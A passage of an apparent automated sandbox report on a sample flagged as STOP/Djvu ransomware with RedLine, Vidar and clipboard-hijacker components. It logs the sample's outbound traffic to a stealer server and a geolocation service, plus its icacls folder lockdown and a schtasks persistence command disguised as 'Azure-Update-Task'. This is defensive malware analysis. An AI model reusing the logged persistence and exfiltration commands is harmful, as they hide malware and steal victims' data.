2024-04-23 20:17:16 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 63 39 61 62 61 39 66 66 37 35 65 32 36 65 35 61 36 35 32 36 64 31 63 63 35 39 62 35 38 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------GCFIIEBKEGHJJJJJJDAAContent-Disposition: form-data; name="token"3fc9aba9ff75e26e5a6526d1cc59b589------GCFIIEBKEGHJJJJJJDAAContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------GCFIIEBKEGHJJJJJJDAACont
2024-04-23 20:17:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 20:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-23 20:17:17 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	172.67.139.220	443	7380	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 20:17:39 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-23 20:17:40 UTC	887	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 20:17:40 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B9Sb%2BKVcvYXbiraKILU5Z6VDfFhH1QPv87GqX4xakPwmRbG9qRo0GylVFIvjYq1yjIwVPFfAxjAh9k1Lo1mEV%2BWgG4qhtksj7AUtdOv02FcrEfInXgVyWNqBKkUw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879089d0cc548bbc-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 20:17:40 UTC	423	IN	Data Raw: 31 61 30 0d 0a 7b 22 69 70 22 3a 22 38 39 2e 31 38 37 2e 31 37 31 2e 31 33 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 47 65 6f 72 67 69 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 34 5c 75 30 34 33 36 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 34 5c 75 30 34 33 36 5c 75 30 34 33 38 5c 75 30 34 34 66 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 Data Ascii: 1a0{"ip":"89.187.171.132","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Georgia","region_rus":"\u0414\u0436\u043e\u0440\u0434\u0436\u0438\u044f","region_ua":"\u041
2024-04-23 20:17:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	22:16:53
Start date:	23/04/2024
Path:	C:\Users\user\Desktop\AaIo4VGgvO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AaIo4VGgvO.exe"
Imagebase:	0x400000
File size:	836'096 bytes
MD5 hash:	9F91AFDB58B312A555DB2978D7157150
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1653647341.0000000004494000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:16:54
Start date:	23/04/2024
Path:	C:\Users\user\Desktop\AaIo4VGgvO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AaIo4VGgvO.exe"
Imagebase:	0x400000
File size:	836'096 bytes
MD5 hash:	9F91AFDB58B312A555DB2978D7157150
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:16:55
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x50000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:16:55
Start date:	23/04/2024
Path:	C:\Users\user\Desktop\AaIo4VGgvO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AaIo4VGgvO.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	836'096 bytes
MD5 hash:	9F91AFDB58B312A555DB2978D7157150
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1672723761.000000000451F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:16:56
Start date:	23/04/2024
Path:	C:\Users\user\Desktop\AaIo4VGgvO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AaIo4VGgvO.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	836'096 bytes
MD5 hash:	9F91AFDB58B312A555DB2978D7157150
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:16:57
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe --Task
Imagebase:	0x400000
File size:	836'096 bytes
MD5 hash:	9F91AFDB58B312A555DB2978D7157150
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1692412044.00000000043FE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:16:57
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe --Task
Imagebase:	0x400000
File size:	836'096 bytes
MD5 hash:	9F91AFDB58B312A555DB2978D7157150
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	22:17:01
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000007.00000002.1730456687.0000000001A90000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1730589370.0000000001C8E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:17:01
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.1874465516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:17:03
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.1854481318.0000000000A2D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:17:08
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Imagebase:	0x400000
File size:	836'096 bytes
MD5 hash:	9F91AFDB58B312A555DB2978D7157150
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.1828065109.000000000443F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:17:11
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Imagebase:	0x400000
File size:	836'096 bytes
MD5 hash:	9F91AFDB58B312A555DB2978D7157150
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:17:14
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:17:14
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x2f0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:17:14
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:17:15
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000011.00000002.1944837632.00000000009FC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:17:23
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x7ff7699e0000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	22:17:23
Start date:	23/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x2f0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:17:23
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:17:37
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Imagebase:	0x400000
File size:	836'096 bytes
MD5 hash:	9F91AFDB58B312A555DB2978D7157150
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000017.00000002.2097463056.0000000004403000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:17:38
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Imagebase:	0x400000
File size:	836'096 bytes
MD5 hash:	9F91AFDB58B312A555DB2978D7157150
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:18:01
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000019.00000002.2401576580.0000000000960000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:18:09
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:19:00
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001C.00000002.3013504826.0000000000970000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:19:10
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:20:00
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
